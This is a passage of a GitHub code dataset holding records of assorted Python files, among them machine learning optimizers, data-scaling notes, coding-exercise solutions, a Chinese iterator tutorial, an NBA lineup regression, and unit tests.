f.items():\n try:\n if self.include is None or key in self.include:\n f[key] = float(value)\n except ValueError as e:\n print(f'key is {key}')\n print(f'key is {value}')\n except TypeError as e:\n print(value)\n print(key)\n # if (type(value) != 'float'):\n # print(value)\n # print(f)\n # assert(type(value) == 'float')\n file_to_features[filename] = f\n self.lookup = file_to_features\n\n def generateFeatures(self, example: FeatureDict) -> FeatureDict:\n # add prefix exclusions via params\n self.cache_lookup()\n features = self.lookup[example['filepath'].replace(\"\\\\\", \"/\")]\n # print(f'in gen {features}')\n return features\n","repo_name":"TovlyDeutsch/Linguistic-Features-for-Readability","sub_path":"features/java_importer.py","file_name":"java_importer.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"32367461130","text":"import pytest\nimport pandas as pd\nimport numpy as np\nimport jax\nimport jax.numpy as jnp\nimport hydra\nimport os\nfrom .utils import get_absolute_config_paths\n\n# Compare policy output by DeMoorPerishableVIR with policies\n# printed in Fig 3 of De Moor et al (2022)\nclass TestPolicy:\n @pytest.mark.parametrize(\n \"exp_config_name,reported_policy_filename\",\n [\n pytest.param(\n \"m2/exp1\",\n \"de_moor_perishable_m2_exp1_reported_policy.csv\",\n id=\"m2/exp1\",\n ),\n pytest.param(\n \"m2/exp2\",\n \"de_moor_perishable_m2_exp2_reported_policy.csv\",\n id=\"m2/exp2\",\n ),\n ],\n )\n def test_policy_same_as_reported(\n self, tmpdir, shared_datadir, exp_config_name, reported_policy_filename\n ):\n jax.config.update(\"jax_enable_x64\", True)\n absolute_config_paths = get_absolute_config_paths()\n\n # Change working directory to avoid clutter\n os.chdir(tmpdir)\n\n # Load in config settings for the experiment\n with hydra.initialize(\n version_base=None,\n config_path=\"../viso_jax/value_iteration/conf\",\n ):\n cfg = hydra.compose(\n config_name=\"config\",\n overrides=[\n f\"hydra.searchpath={absolute_config_paths}\",\n f\"+experiment=de_moor_perishable/{exp_config_name}\",\n \"vi_runner.checkpoint_frequency=0\",\n ],\n )\n\n VIR = hydra.utils.instantiate(\n cfg.vi_runner,\n )\n vi_output = VIR.run_value_iteration(**cfg.run_settings)\n\n # Post-process policy to match reported form\n # Including clipping so that only includes stock-holding up to 8 units per agre\n vi_policy = vi_output[\"policy\"].reset_index()\n vi_policy.columns = [\"state\", \"order_quantity\"]\n vi_policy[\"Units in stock age 2\"] = [(x)[1] for x in vi_policy[\"state\"]]\n vi_policy[\"Units in stock age 1\"] = [(x)[0] for x in vi_policy[\"state\"]]\n vi_policy = vi_policy.pivot(\n index=\"Units in stock age 1\",\n columns=\"Units in stock age 2\",\n values=\"order_quantity\",\n )\n vi_policy = vi_policy.loc[list(range(9)), list(range(9))].sort_index(\n ascending=False\n )\n\n # Load in the reported policy\n reported_policy = pd.read_csv(\n f\"{shared_datadir}/{reported_policy_filename}\",\n index_col=0,\n header=0,\n )\n\n assert np.all(vi_policy.values == reported_policy.values)\n","repo_name":"joefarrington/viso_jax","sub_path":"tests/test_DeMoorPerishableVIR.py","file_name":"test_DeMoorPerishableVIR.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23767781387","text":"'''\n 迭代器 ---> yield\n 练习:exercise04.py\n\n 目标:让自定义类所创建的对象,可以参与for.\n iter价值:可以被for\n next价值:返回数据/抛出异常\n\n class 自定义类的迭代器:\n def __next__(self):\n pass\n\n class 自定义类:\n def __iter__(self):\n pass\n for item in 自定义类():\n pass\n'''\n\n\nclass SkillIterator:\n def __init__(self, data):\n self.__target = data\n self.__index = -1\n\n def __next__(self):\n # 如果没有数据则抛出异常\n if self.__index >= len(self.__target) - 1:\n raise StopIteration\n # 返回数据\n self.__index += 1\n return self.__target[self.__index]\n\n\nclass SkillManager:\n '''\n 技能管理器 可迭代对象\n '''\n\n def __init__(self):\n self.__skills = []\n\n def add_skill(self, str_skill):\n self.__skills.append(str_skill)\n\n def __iter__(self):\n # return SkillIterator(self.__skills)\n\n # 执行过程:\n # 1. 调用__iter__()不执行\n # 2. 调用__next__()才执行当前代码\n # 3. 执行到yield语句暂时离开\n # 4. 再次调用__next__()继续执行\n # ....\n\n # yield作用: 标记着下列代码会自动转换为迭代器代码。\n # 转换大致过程:\n # 1. 将yield关键字以前的代码,放到next方法中\n # 2. 将yield关键字后面的数据,作为next返回值\n\n # print('准备数据:')\n # yield '降龙十八掌'\n #\n # print('准备数据:')\n # yield '黑虎掏心'\n #\n # print('准备数据:')\n # yield '六脉神剑'\n\n for item in self.__skills:\n yield item\n\n\nmanager = SkillManager()\nmanager.add_skill('降龙十八掌')\nmanager.add_skill('黑虎掏心')\nmanager.add_skill('六脉神剑')\n\n# 错误:manager必须是可迭代对象__iter__()\nfor item in manager:\n print(item)\n\niterator = manager.__iter__()\nwhile True:\n try:\n item = iterator.__next__()\n print(item)\n except StopIteration:\n break\n","repo_name":"fanxiao168/pythonStudy","sub_path":"AIDStudy/01-PythonBase/day17/demo02.py","file_name":"demo02.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"29226366899","text":"# How many Sundays fell on the first of the month during\n# the twentieth century (1 Jan 1901 to 31 Dec 2000)?\nimport calendar\n\nsundays = 0\n\nfor year in range(1901,2001):\n for month in range(1,13):\n\n res = calendar.monthrange(year, month)\n\n if(res[0] == calendar.SUNDAY):\n sundays += 1\n\nprint(sundays)\n\n\n","repo_name":"mccornet/project_euler_2014","sub_path":"problem_019.py","file_name":"problem_019.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11049988482","text":"# -*- coding: utf-8 -*-\n\"\"\"\nScript to import our csv into txt\n Update: now creates two files, one for positive tweets one for negative\n@author: Michael Rodriguez\n\"\"\"\n\nimport csv\n\ncsvf = open(\"training.1600000.processed.noemoticon.csv\")\ndialect = csv.Sniffer().sniff(csvf.read(1024))\ntxt_rdr = csv.reader(csvf,dialect)\n\npos = open('ptweets.txt','w')\nneg = open('negtweets.txt','w')\ncount = 1\nfor r in txt_rdr:\n print('Current line: '+ str(count))\n count += 1\n line = r[0]+\" \"+r[-1]\n if r[0] == '0':\n neg.write(line)\n neg.write(\"\\n\")\n print(\"Writing neg line: \", line)\n else:\n pos.write(line)\n pos.write(\"\\n\")\n print(\"Writing pos line: \",line)\n \nprint(\"\\nWriting complete, closing files...\")\nneg.close()\npos.close()\nprint(\"Conversion complete.\")\n","repo_name":"merodri2/bladerunner175","sub_path":"txtwriter.py","file_name":"txtwriter.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42634002088","text":"def getTotalX(a, b):\n count = 0\n \n for num in range(a[-1],b[0]+1):\n if all(num % x==0 for x in a) and all(x % num == 0 for x in b):\n count += 1\n\n print(count)\n\n \n\n\n\narr1 = list(map(int, input('arr1: ').rstrip().split()))\narr2 = list(map(int, input('arr2: ').rstrip().split()))\nprint(getTotalX(arr1,arr2))","repo_name":"Samkanja/solutions","sub_path":"implemantation/Easy/betweenTwoSets.py","file_name":"betweenTwoSets.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17725809959","text":"import pytest\n\nfrom bp_posts.dao.comment_dao import CommentDAO\n\n\nclass TestCommentDAO:\n\n @pytest.fixture\n def comment_dao(self):\n comment_dao_instance = CommentDAO(\"./bp_posts/tests/comments_mock.json\")\n return comment_dao_instance\n\n # Тестирование получения всех комментариев\n\n def test_get_all_comments(self, comment_dao):\n comments = comment_dao.get_comments_all()\n assert len(comments) == 5, \"Получено неверное количество комментариев\"\n\n # Тестирование получения комментариев по id\n\n @pytest.mark.parametrize(\"post_id, expected_len\", [\n (1, 4),\n (2, 1),\n ])\n def test_get_comments_by_post_id(self, comment_dao, post_id, expected_len):\n comments = comment_dao.get_comments_by_post_id(post_id)\n assert len(comments) == expected_len, \"Получено неверное количество комментариев по id\"\n\n","repo_name":"EkaterinaVa/course_work3","sub_path":"bp_posts/tests/comment_dao_test.py","file_name":"comment_dao_test.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15439670425","text":"import math\nimport copy\nimport torch\nfrom ..base import GradientBasedOptim\nfrom modnas.core.param_space import ParamSpace\nfrom modnas.arch_space.mixed_ops import MixedOp\nfrom modnas.registry.optim import register\n\n\n@register\nclass DARTSOptim(GradientBasedOptim):\n \"\"\"Optimizer with DARTS algorithm.\n\n modified from https://github.com/khanrc/pt.darts\n \"\"\"\n\n def __init__(self, a_optim=None, w_momentum=0.9, w_weight_decay=0.0003, space=None):\n super().__init__(space, a_optim)\n self.v_net = None\n self.w_momentum = w_momentum\n self.w_weight_decay = w_weight_decay\n\n def _virtual_step(self, trn_batch, lr, optimizer, estim):\n # forward & calc loss\n model = estim.model\n loss = estim.loss(trn_batch, mode='train') # L_trn(w)\n # compute gradient\n gradients = torch.autograd.grad(loss, model.parameters())\n # do virtual step (update gradient)\n with torch.no_grad():\n for w, vw, g in zip(model.parameters(), self.v_net.parameters(), gradients):\n m = optimizer.state[w].get('momentum_buffer', 0.) * self.w_momentum\n vw.copy_(w - lr * (m + g + self.w_weight_decay * w))\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n self.optim_reset()\n trn_batch = estim.get_cur_train_batch()\n val_batch = estim.get_next_valid_batch()\n lr = estim.trainer.get_lr()\n optimizer = estim.trainer.get_optimizer()\n model = estim.model\n if self.v_net is None:\n self.v_net = copy.deepcopy(model)\n # do virtual step (calc w`)\n self._virtual_step(trn_batch, lr, optimizer, estim)\n # calc unrolled loss\n loss = estim.loss(val_batch, model=self.v_net, mode='valid') # L_val(w`)\n # compute gradient\n alphas = ParamSpace().tensor_values()\n v_alphas = tuple(alphas)\n v_weights = tuple(self.v_net.parameters())\n v_grads = torch.autograd.grad(loss, v_alphas + v_weights)\n dalpha = v_grads[:len(v_alphas)]\n dw = v_grads[len(v_alphas):]\n hessian = self._compute_hessian(dw, trn_batch, estim)\n # update final gradient = dalpha - lr*hessian\n with torch.no_grad():\n for a, da, h in zip(alphas, dalpha, hessian):\n a.grad = da - lr * h\n self.optim_step()\n\n def _compute_hessian(self, dw, trn_batch, estim):\n \"\"\"Compute Hessian matrix.\n\n dw = dw` { L_val(w`, alpha) }\n w+ = w + eps * dw\n w- = w - eps * dw\n hessian = (dalpha { L_trn(w+, alpha) } - dalpha { L_trn(w-, alpha) }) / (2*eps)\n eps = 0.01 / ||dw||\n \"\"\"\n model = estim.model\n alphas = ParamSpace().tensor_values()\n norm = torch.cat([w.view(-1) for w in dw]).norm()\n eps = 0.01 / norm\n # w+ = w + eps*dw`\n with torch.no_grad():\n for p, d in zip(model.parameters(), dw):\n p += eps * d\n loss = estim.loss(trn_batch, mode='train')\n dalpha_pos = torch.autograd.grad(loss, alphas) # dalpha { L_trn(w+) }\n # w- = w - eps*dw`\n with torch.no_grad():\n for p, d in zip(model.parameters(), dw):\n p -= 2. * eps * d\n loss = estim.loss(trn_batch, mode='train')\n dalpha_neg = torch.autograd.grad(loss, alphas) # dalpha { L_trn(w-) }\n # recover w\n with torch.no_grad():\n for p, d in zip(model.parameters(), dw):\n p += eps * d\n hessian = [(p - n) / 2. * eps.item() for p, n in zip(dalpha_pos, dalpha_neg)]\n return hessian\n\n\n@register\nclass BinaryGateOptim(GradientBasedOptim):\n \"\"\"Optimizer with BinaryGate (ProxylessNAS) algorithm.\"\"\"\n\n _default_optimizer_conf = {\n 'type': 'Adam',\n 'args': {\n 'lr': 0.006,\n 'betas': [0.0, 0.999],\n 'weight_decay': 0,\n }\n }\n\n def __init__(self, a_optim=None, n_samples=2, renorm=True, space=None):\n super().__init__(space, a_optim or BinaryGateOptim._default_optimizer_conf)\n self.n_samples = n_samples\n self.sample = (self.n_samples != 0)\n self.renorm = renorm and self.sample\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n self.optim_reset()\n model = estim.model\n val_batch = estim.get_next_valid_batch()\n # sample k\n if self.sample:\n for m in MixedOp.gen(model):\n m.sample_ops(n_samples=self.n_samples)\n # loss\n for m in MixedOp.gen(model):\n m.arch_param_grad(enabled=True)\n loss = estim.loss(val_batch, mode='valid')\n # backward\n loss.backward()\n # renormalization\n if not self.renorm:\n self.optim_step()\n else:\n with torch.no_grad():\n prev_pw = []\n for m in MixedOp.gen(model):\n p = m.alpha()\n s_op = m.s_op\n pdt = p.detach()\n pp = pdt.index_select(-1, torch.tensor(s_op).to(p.device))\n if pp.size() == pdt.size():\n continue\n k = torch.sum(torch.exp(pdt)) / torch.sum(torch.exp(pp)) - 1\n prev_pw.append(k)\n\n self.optim_step()\n\n with torch.no_grad():\n for kprev, m in zip(prev_pw, MixedOp.gen(model)):\n p = m.alpha()\n s_op = m.s_op\n pdt = p.detach()\n pp = pdt.index_select(-1, torch.tensor(s_op).to(p.device))\n k = torch.sum(torch.exp(pdt)) / torch.sum(torch.exp(pp)) - 1\n for i in s_op:\n p[i] += (torch.log(k) - torch.log(kprev))\n\n for m in MixedOp.gen(model):\n m.arch_param_grad(enabled=False)\n m.reset_ops()\n\n\n@register\nclass DirectGradOptim(GradientBasedOptim):\n \"\"\"Optimizer by backwarding training loss.\"\"\"\n\n def __init__(self, a_optim=None, space=None):\n super().__init__(space, a_optim)\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n self.optim_step()\n self.optim_reset()\n\n\n@register\nclass DirectGradBiLevelOptim(GradientBasedOptim):\n \"\"\"Optimizer by backwarding validating loss.\"\"\"\n\n def __init__(self, a_optim=None, space=None):\n super().__init__(space, a_optim)\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n self.optim_reset()\n loss = estim.loss(estim.get_next_valid_batch(), mode='valid')\n loss.backward()\n self.optim_step()\n\n\n@register\nclass REINFORCEOptim(GradientBasedOptim):\n \"\"\"Optimizer with REINFORCE algorithm.\n\n modified from https://github.com/mit-han-lab/proxylessnas\n \"\"\"\n\n def __init__(self, a_optim=None, batch_size=10, space=None):\n super().__init__(space, a_optim)\n self.batch_size = batch_size\n self.baseline = None\n self.baseline_decay_weight = 0.99\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n model = estim.model\n self.optim_reset()\n grad_batch = []\n reward_batch = []\n for _ in range(self.batch_size):\n # calculate reward according to net_info\n reward = estim.get_score(estim.compute_metrics())\n # loss term\n obj_term = 0\n for m in MixedOp.gen(model):\n p = m.alpha()\n if p.grad is not None:\n p.grad.data.zero_()\n path_prob = m.prob()\n smpl = m.s_path_f\n path_prob_f = path_prob.index_select(-1, torch.tensor(smpl).to(path_prob.device))\n obj_term = obj_term + torch.log(path_prob_f)\n loss = -obj_term\n # backward\n loss.backward()\n # take out gradient dict\n grad_list = []\n for m in MixedOp.gen(model):\n p = m.alpha()\n grad_list.append(p.grad.data.clone())\n grad_batch.append(grad_list)\n reward_batch.append(reward)\n\n # update baseline function\n avg_reward = sum(reward_batch) / self.batch_size\n if self.baseline is None:\n self.baseline = avg_reward\n else:\n self.baseline += self.baseline_decay_weight * (avg_reward - self.baseline)\n # assign gradients\n for idx, m in enumerate(MixedOp.gen(model)):\n p = m.alpha()\n p.grad.data.zero_()\n for j in range(self.batch_size):\n p.grad.data += (reward_batch[j] - self.baseline) * grad_batch[j][idx]\n p.grad.data /= self.batch_size\n # apply gradients\n self.optim_step()\n\n\n@register\nclass GumbelAnnealingOptim(GradientBasedOptim):\n \"\"\"Optimizer with Gumbel Annealing (SNAS) algorithm.\"\"\"\n\n def __init__(self,\n a_optim=None,\n init_temp=1e4,\n exp_anneal_rate=0.0015,\n anneal_interval=1,\n restart_period=None,\n space=None):\n super().__init__(space, a_optim)\n self.init_temp = init_temp\n self.exp_anneal_rate = exp_anneal_rate\n self.temp = self.init_temp\n if restart_period is None:\n restart_period = 0\n self.restart_period = int(restart_period)\n self.anneal_interval = anneal_interval\n self.cur_step = 0\n\n def step(self, estim):\n \"\"\"Update Optimizer states using Estimator.\"\"\"\n self.optim_reset()\n model = estim.model\n self._apply_temp(model)\n loss = estim.loss(estim.get_next_valid_batch(), mode='valid')\n loss.backward()\n self.optim_step()\n self.cur_step += 1\n if self.restart_period > 0 and self.cur_step >= self.restart_period:\n self.cur_step = 0\n intv = self.anneal_interval\n if self.cur_step % intv == 0:\n self.temp = self.init_temp * math.exp(-self.exp_anneal_rate * self.cur_step / intv)\n\n def _apply_temp(self, model):\n for m in MixedOp.gen(model):\n m.set_temperature(self.temp)\n","repo_name":"FlowEternal/pointlanenet","sub_path":"model/vega/algorithms/nas/modnas/optim/torch/gradient_based.py","file_name":"gradient_based.py","file_ext":"py","file_size_in_byte":10229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7433802796","text":"import sys\nfrom collections import defaultdict\nfrom collections import Counter\nfrom collections import deque\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def helper(self, p: TreeNode, count: int):\n if p == None:\n return count\n \n count += 1\n \n return max(self.helper(p.left, count), self.helper(p.right, count))\n\n def levelOrderBottom(self, root):\n p1 = deque()\n p1.append([root])\n\n ls = []\n #p.append([root.val])\n \n while(p1):\n node = p1.popleft()\n\n temp = []\n res = []\n for n in node:\n if n.left:\n temp.append(n.left)\n\n if n.right:\n temp.append(n.right)\n\n res.append(n.val)\n\n if temp:\n p1.append(temp)\n \n ls.append(res)\n\n #p2.append([root.val])\n\n ls.reverse()\n\n return ls\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n nums1 = [4,5,6,0,0,0]\n m = 3\n nums2 = [1,2,3] \n n = 3\n \n p1 = deque()\n p1.append([])\n p1.append(['aa','bb'])\n while []:\n print(\"aaa\")\n p1.popleft()\n\n\n #result = solution.merge(nums1,m,nums2,n)\n\n #print(solution.ls)\n\n #print(nums1, result)","repo_name":"geniuscynic/leetcode","sub_path":"python/107. 二叉树的层次遍历 II.py","file_name":"107. 二叉树的层次遍历 II.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4533154133","text":"\n# solving situations where one feature has a much larger variance than others is using scaling \n# StandardScaler() transforms numerical features in the dataset to have a mean of 0 and a variance of 1.\n\ndd.var().round(2)\n\nfrom sklearn.preprocessing import StandardScaler\n\n# Transform\nss = StandardScaler()\nss.fit(X_train)\nX_train_scaled = ss.transform(X_train)\nX_test_scaled = ss.transform(X_test)\n\n\n# Init, fit\nss = StandardScaler()\n_ = ss.fit(dd[to_scale])\n\n# Transform\ndd[to_scale] = pd.DataFrame(ss.transform(dd[to_scale]), columns=to_scale)\n\n\n# non-linear distribution (lognormal especially)\n\nfrom sklearn.preprocessing import PowerTransformer\n\n# Init\npt = PowerTransformer()\n\ndd[[\"co1\", \"co2\"]] = pd.DataFrame(\n pt.fit_transform(dd[[\"co1\", \"co2\"]]), columns=[\"co1\", \"co2\"]\n)\n\n\ndd[[\"co1\", \"co2\"]].var()\n\n\n# MinMaxScaler does not change the shape of the distribution but gives the distribution an absolute minimum and a maximum value, usually between 0 and 1\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nmms = MinMaxScaler()\n\ndd[[\"co1\", \"co2\"]] = pd.DataFrame(\n mms.fit_transform(dd[[\"co1\", \"co2\"]]), columns=[\"co1\", \"co2\"]\n)\n\n\n# use pipeline\n\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.pipeline import Pipeline, make_pipeline\nfrom sklearn.preprocessing import OneHotEncoder\n\n# Set up the colnames\nto_scale = cs1\nto_log = cs2\ncategorical = X.select_dtypes(include=\"category\").columns\n\n\nscale_pipe = make_pipeline(StandardScaler())\nlog_pipe = make_pipeline(PowerTransformer())\ncategorical_pipe = make_pipeline(OneHotEncoder(sparse=False, handle_unknown=\"ignore\"))\n\ntransformer = ColumnTransformer(\n transformers=[\n (\"scale\", scale_pipe, to_scale),\n (\"log_transform\", log_pipe, to_log),\n (\"oh_encode\", categorical_pipe, categorical),\n ]\n)\n\n# plug this transformer into a Pipeline\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\n\nknn_pipe = Pipeline([(\"prep\", transformer), (\"logistic_reg\", LogisticRegression())])\n\n\n\n\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.preprocessing import LabelEncoder\n\n# Train/test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y)\n\n# Encode the target\nle = LabelEncoder()\ny_train = le.fit_transform(y_train)\ny_test = le.transform(y_test)\n\n# Fit/predict/score\n_ = knn_pipe.fit(X_train, y_train)\npreds = knn_pipe.predict_proba(X_test)\n\nroc_auc_score(y_test, preds, multi_class=\"ovr\")\n\n### move to parameter tuning\n","repo_name":"huangty1208/Data-Challenge","sub_path":"Customer Cliff/DSML_transformation.py","file_name":"DSML_transformation.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38807630479","text":"import functools\nimport logging\nimport logging.config\nimport multiprocessing as mp\nimport os\n\nimport dotenv\nimport numpy as np\nimport pandas as pd\nfrom sklearn import linear_model, metrics\nfrom sklearn.externals import joblib\n\nfrom sportsref import nba\n\nfrom src import helpers\n\nenv_path = dotenv.find_dotenv()\ndotenv.load_dotenv(env_path)\nPROJ_DIR = os.environ['PROJ_DIR']\n\nseasons_train = range(2007, 2015)\nseasons_test = range(2015, 2017)\nseasons = seasons_train + seasons_test\n\nreg_est = linear_model.LinearRegression()\n\ndef get_logger():\n logging.config.fileConfig(\n os.path.join(PROJ_DIR, 'logging_config.ini')\n )\n logger = logging.getLogger()\n return logger\n\n\ndef _design_matrix_one_season(args):\n logger = get_logger()\n logger.info('starting design_matrix_one_season')\n lineups, sub_orapm, sub_drapm, sub_hm_off, sub_y = args\n hm_lineups = lineups.ix[:, nba.pbp.HM_LINEUP_COLS]\n aw_lineups = lineups.ix[:, nba.pbp.AW_LINEUP_COLS]\n\n hm_off_df = pd.concat((hm_lineups[sub_hm_off], aw_lineups[sub_hm_off]),\n axis=1)\n aw_off_df = pd.concat((aw_lineups[~sub_hm_off], hm_lineups[~sub_hm_off]),\n axis=1)\n off_cols = ['off_player{}'.format(i) for i in range(1, 6)]\n def_cols = ['def_player{}'.format(i) for i in range(1, 6)]\n cols = off_cols + def_cols\n hm_off_df.columns = cols\n aw_off_df.columns = cols\n\n merged_df = pd.concat((hm_off_df, aw_off_df))\n off_df = merged_df[off_cols]\n def_df = merged_df[def_cols]\n\n rp_oval = sub_orapm.loc['RP']\n off_rapm = off_df.applymap(lambda p: sub_orapm.get(p, rp_oval))\n off_rapm_sums = off_rapm.sum(axis=1)\n\n rp_dval = sub_drapm.loc['RP']\n def_rapm = def_df.applymap(lambda p: sub_drapm.get(p, rp_oval))\n def_rapm_sums = def_rapm.sum(axis=1)\n\n new_sub_y = np.concatenate((sub_y[sub_hm_off], sub_y[~sub_hm_off]))\n new_sub_y = new_sub_y - off_rapm_sums\n new_sub_y = new_sub_y + def_rapm_sums\n\n merged_df = pd.DataFrame()\n n_hm_off = len(hm_off_df)\n merged_df['y'] = new_sub_y\n merged_df['hm_off'] = [i < n_hm_off for i in range(len(merged_df))]\n\n return merged_df\n\n\ndef create_design_matrix(lineups, orapm, drapm, seasons, hm_off, y):\n seasons_uniq = np.unique(seasons)\n args_to_eval = [\n (lineups[seasons == s], orapm.xs(s, level=1), drapm.xs(s, level=1),\n hm_off[seasons == s], y[seasons == s])\n for s in seasons_uniq\n ]\n df = pd.concat(map(_design_matrix_one_season, args_to_eval))\n y = df.pop('y')\n return df, y\n\n\nlogger = get_logger()\n\n# load and combine all player-season profiles and standardize within season\nlogger.info('loading profiles...')\nprofile_dfs = [\n helpers.get_profiles_data(season) for season in seasons\n]\nprofile_df = pd.concat(profile_dfs)\norapm = profile_df['orapm']\ndrapm = profile_df['drapm']\ndel profile_df, profile_dfs\n\n# load and process the play-by-play data for regression\nlogger.info('loading second half PBP...')\nall_second_half = nba.pbp.clean_multigame_features(\n pd.concat([\n helpers.split_pbp_data(helpers.get_pbp_data(season))[1]\n for season in seasons\n ])\n)\nposs_grouped = all_second_half.groupby('poss_id')\nposs_end = poss_grouped.tail(1)\nposs_hm_off = poss_end.loc[:, 'hm_off'].values\ny = poss_grouped.pts.sum().values\nlineups = poss_end.loc[:, nba.pbp.ALL_LINEUP_COLS]\nposs_seasons = poss_end.loc[:, 'season']\ndel all_second_half, poss_grouped, poss_end\n\n# split lineups data into train and test\npbp_is_train = poss_seasons.isin(seasons_train)\nlineups_train = lineups[pbp_is_train]\nlineups_test = lineups[~pbp_is_train]\nposs_year_train = poss_seasons[pbp_is_train]\nposs_year_test = poss_seasons[~pbp_is_train]\nhm_off_train = poss_hm_off[pbp_is_train]\nhm_off_test = poss_hm_off[~pbp_is_train]\ny_train = y[pbp_is_train]\ny_test = y[~pbp_is_train]\n\n# fit model on training data\nlogging.info('starting create_design_matrix for train')\nX_train, y_train = create_design_matrix(\n lineups_train, orapm, drapm, poss_year_train, hm_off_train, y_train\n)\nlogging.info('done with create_design_matrix for train')\nlogging.info('len(X_train) == {}'.format(len(X_train)))\nlogging.info('starting to fit regression model')\nreg_est.fit(X_train, y_train)\nlogging.info('done fitting regression model')\n\n# score model on test data\nlogging.info('starting create_design_matrix for test')\nX_test, y_test = create_design_matrix(\n lineups_test, orapm, drapm, poss_year_test, hm_off_test, y_test\n)\nlogging.info('done with create_design_matrix for test')\nlogging.info('predicting on X_test')\npredictions = reg_est.predict(X_test)\nlogging.info('done predicting on X_test')\nlogging.info('generating metrics')\n\nrmse = metrics.mean_squared_error(y_test, predictions)\nr2 = metrics.r2_score(y_test, predictions)\nmae = metrics.median_absolute_error(y_test, predictions)\n\nlogging.info('RMSE: {}'.format(rmse))\nlogging.info('R^2: {}'.format(r2))\nlogging.info('median abs err: {}'.format(mae))\n\nperf_metrics = pd.Series({\n 'rmse': rmse,\n 'r2': r2,\n 'median_abs_error': mae\n})\nperf_metrics.to_csv('data/models/basic_perf_metrics.csv')\n\nlogging.info('writing comparison model to disk for persistence')\njoblib.dump(reg_est, os.path.join(PROJ_DIR, 'models', 'comparison_model.pkl'))\nlogging.info('wrote comparison model to disk for persistence')\n","repo_name":"mdgoldberg/nba_lineup_evaluation","sub_path":"src/models/compare_model.py","file_name":"compare_model.py","file_ext":"py","file_size_in_byte":5319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26857157614","text":"from unittest.mock import Mock, create_autospec, patch\nimport io\nimport os\n\nimport pytest\nfrom docopt import DocoptExit\nfrom github import GithubException\nfrom github.Repository import Repository\nfrom pyclip import ClipboardSetupException as RealClipboardSetupException\n\nfrom shbin import __version__, __doc__, main\n\nPNG_1x1 = (\n b\"\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x08\\x02\\x00\\x00\\x00\\x90wS\\xde\\x00\"\n b\"\\x00\\x00\\x0cIDATx\\x9cc\\xb8\\xbb\\xe8=\\x00\\x04\\xce\\x02o\\x8a\\xc4\\xab\\xc4\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\"\n)\n\n\ndef create_github_downloable_files(data):\n class ContentFile:\n pass\n\n obj = ContentFile()\n\n for key, value in data.items():\n setattr(obj, key, value)\n return obj\n\n\n@pytest.fixture\ndef repo():\n repo = create_autospec(Repository, name=\"gh_repo\")\n repo.create_file.return_value = {\"content\": Mock(html_url=\"https://the-url\")}\n repo.update_file.return_value = {\"content\": Mock(html_url=\"https://the-url-updated\")}\n return repo\n\n\n@pytest.fixture(autouse=True)\ndef pyclip(monkeypatch):\n class Stub:\n def copy(self, content):\n self.content = content\n\n def paste(self):\n try:\n return self.content\n except AttributeError:\n raise RealClipboardSetupException(\"missing\")\n\n ClipboardSetupException = RealClipboardSetupException\n\n clip = Stub()\n monkeypatch.setattr(\"shbin.pyclip\", clip)\n return clip\n\n\n@pytest.fixture\ndef stdin(monkeypatch):\n def patch(data):\n monkeypatch.setattr(\"sys.stdin\", Mock(buffer=io.BytesIO(data)))\n\n # some default data\n patch(b\"input data\")\n return patch\n\n\n@pytest.fixture\ndef patched_repo_and_user(repo):\n with patch(\"shbin.get_repo_and_user\", return_value=(repo, \"messi\")) as mocked:\n yield mocked\n\n\n@pytest.mark.parametrize(\"argv\", ([\"-h\"], [\"--help\"]))\ndef test_help(capsys, argv):\n with pytest.raises(SystemExit):\n main(argv)\n\n output = capsys.readouterr().out\n assert __doc__.strip() in output\n assert \"Usage:\" in output\n assert \"Options:\" in output\n\n\n@pytest.mark.parametrize(\"argv\", ([\"-x\", \"file1.py\"], []))\ndef test_x_and_files_required_and_exclusive(argv):\n with pytest.raises(DocoptExit):\n main(argv)\n\n\ndef test_version(capsys):\n with pytest.raises(SystemExit):\n main([\"--version\"])\n assert capsys.readouterr().out == f\"{__version__}\\n\"\n\n\ndef test_token_envvar_is_mandarory(monkeypatch):\n monkeypatch.delenv(\"SHBIN_GITHUB_TOKEN\", raising=False)\n with pytest.raises(DocoptExit) 